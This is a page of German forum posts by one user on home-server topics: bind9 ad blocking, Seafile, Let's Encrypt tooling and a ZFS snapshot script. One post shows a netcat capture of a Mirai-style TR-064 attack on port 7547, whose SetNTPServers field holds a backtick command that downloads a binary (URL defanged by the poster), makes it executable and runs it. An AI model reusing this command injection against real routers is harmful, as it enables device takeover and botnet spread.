Beiträge von perryflynn

Habe das Zuhause als KVM Maschine auf meinem Homeserver mit bind9 und Blocking with ad server and tracking server hostnames gebastelt.

Bind9 löst einfach alle Domains auf 192.0.2.42 auf. Die IP befindet sich in einem Subnetz welches nur zu Dokumentationszwecken genutzt wird. Dementsprechend wird sie nirgends geroutet und der Verbindungsaufbau direkt abgebrochen.

Reserved IP addresses - Wikipedia

Den Bind9 verteile ich dann via DHCP mit meinem Router.

//edit
Ach und ich hab ab übernächster Woche Urlaub. Eine Woche Nichtstun, eine Woche Hamburg zum 33C3.

Jap, 404 Not Found.

Gestern gegen 15:40 war der letzte Treffer auf meinen Honeypot.

Bei der schieren Menge an Geräten macht das aber keinen Unterschied ob man Pull oder Push macht. Wenn sich der Router einfach 1-2 mal am Tag bei einem Server meldet reicht dies vollkommen aus. Man bekommt 900.000 Geräte(?) halt nicht in wenigen Stunden mit einem Firmware Update versorgt.

Was mir auch nicht in den Kopf will: Wieso sind so viele "4.0" Geräte im offenen Netz erreichbar? Öffnen die wirklich alle selbstständig Ports via UPnP im Router?

Hatte letztens mit einem Fritz Box User drüber gesprochen. Der meinte, er müsse für jedes Gerät UPnP in der Box explozit aktivieren, und meinte dies sei zumindest in seiner Box Version Standardeinstellung.

Habe gerade mit netcat ein bisschen mitgeschnitten.

listening on [any] 7547 ...
connect to [192.168.99.103] from (UNKNOWN) [60.231.32.22] 49555
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526




<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <SOAP-ENV:Body>
        <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
            <NewNTPServer1>`cd /tmp;wget http://l.o~~~~~~calhost.host/2;chmod 777 2;./2`</NewNTPServer1>
            <NewNTPServer2 />
            <NewNTPServer3 />
            <NewNTPServer4 />
            <NewNTPServer5 />
        </u:SetNTPServers>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Die Pipes habe ich in die Download URL gebaut damit sie nicht anklickbar wird oder jemand auf die Idee kommt die aufzurufen.

Kann mir jemand erklären wie man eine API Baut die Backtick Commands stumpf ausführt? Es will nicht in meinen Kopf rein wie das gehehen soll.

Nutze auch Seafile seit über einem Jahr und bin da sehr zufrieden mit.
Synce damit alles, sogar meine Titanium Backups aufm Phone.

Und ja, auch ich finde die chinesische Version der Story glaubwürdiger.

Wenigstens ist der Begriff Anexia nicht auf der Zensurliste. *G*

Wow, Dich hier wieder zu sehen ist unerwartet.
Ich bin sehr gespannt was Du mit Felix und Oli zusammen aus Netcup machst.

Grüße aus der cybton Vergangenheit.

Moin,

habe keine Zeit mehr den auf neusten Stand zu bringen und weiter zu Warten.

Neuer Maintainer für Anixe gesucht - TV-Browser-Forum

Falls wer bock hat, bitte mal im TVB Forum melden.

winkewinke an killerbees19 zurück

Habe auch noch drei Stück hier rumliegen, allerdings nicht im Betrieb. Wurden alle mittlerweile durch Raspberry Pi abgelöst. Aber wo Du mich dran errinerst, kann ich die ja mal aufpolieren und an unseren lokalen Hackerspace [1] vererben, wenn nächstes mal Treffen ist.

[1] <schnöde werbung> NerdBridge </schnöde werbung>

Let's encrypt bei externen Domains

Würde da gar nicht groß rumfrickeln sondern einfach klassisch SSH mit keys und/oder rsync nutzen. Habe schon seit Jahren keinen FTP Server mehr benutzt sondern immer den SFTP Server den OpenSSH mitbringt.

Hier kann man so viel einstellen, da bleiben eigentlich keine Wünsche offen.

Zitat von Rayne

Mit dem Text "letsencrypt" würde ich im Projektnamen aufpassen, denn das ist gegen die Let's Encrypt Policy

Okay, wenn die meinen.... Habs umbenannt, danke.

acme.sh Client für einen bekannten deutschen Domain Registrar.

http://krz.link/1hZ
(Kurzlink wegen der lächerlichen Zensur Funktion hier im Forum)

- Lets Encrypt
- Python
- Kein root notwendig
- Domain Challenge Validation (also kein Webserver notwendig)

felix
Würde das gleiche gerne für netcup auch bauen.
Gibt es fürs CCP bzw den DNS Server bei euch ein API?

Würde mich nicht wundern wenn auch JS gehen würde...

Achtung, Gefährliches Halbwissen:

Kann sein, sofern netcup den unterstützt, dass man das mit dem quemu-agent automatisieren kann.

Glaube ich nähere mich so langsam dem Beta Status mit dem Script.
Habe noch einen Bug in der Änderungen-vorhanden-Erkennung behoben:

Bugfix for changes detection · perryflynn/zfs-autosnapshot-rotation@65f20f2 · GitHub

GitHub - perryflynn/zfs-autosnapshot-rotation: create and rotate zfs snapshots automatically

Dann nimmst Du ein Webhosting Control Panel Deiner Wahl oder lässt das ganze bleiben und legst Dir einen managed Vserver bzw Webhosting zu.

Alles andere ist grob Fahrlässig und unverantwortlich.

Sonst gehört Dein Server demnächst da mit zu:
Amazon, Spotify, Twitter, Netflix: Mirai-Botnetz legte zahlreiche Webdienste lahm - Golem.de

Snapshots werden nur noch erstellt, wenns auch Änderungen gibt:

root@eisenbart:/media/files/admin/zfstools# ./zfsautosnap.sh myraidz/files asnapdaily 3




ZFS-Auto-Snapshot-Rotation




[20161025 12:53:33] Begin on "myraidz/files" for "asnapdaily"
[20161025 12:53:33] 2 snapshots found
[20161025 12:53:33] 0 old snapshots detected
[20161025 12:53:33] The newest "asnapdaily" snapshot in "myraidz/files" is "asnapdaily-20161025-125144"
[20161025 12:53:34] Changes since last snapshot detected
Create new snapshot "myraidz/files@asnapdaily-20161025-125333"
[20161025 12:53:34] Done




root@eisenbart:/media/files/admin/zfstools# ./zfsautosnap.sh myraidz/files asnapdaily 3




ZFS-Auto-Snapshot-Rotation




[20161025 12:53:41] Begin on "myraidz/files" for "asnapdaily"
[20161025 12:53:41] 3 snapshots found
[20161025 12:53:41] 1 old snapshots detected
[20161025 12:53:41] The newest "asnapdaily" snapshot in "myraidz/files" is "asnapdaily-20161025-125333"
[20161025 12:53:42] No changes since last snapshot. Abort.
[20161025 12:53:42] Done

GitHub - perryflynn/zfs-autosnapshot-rotation: create and rotate zfs snapshots automatically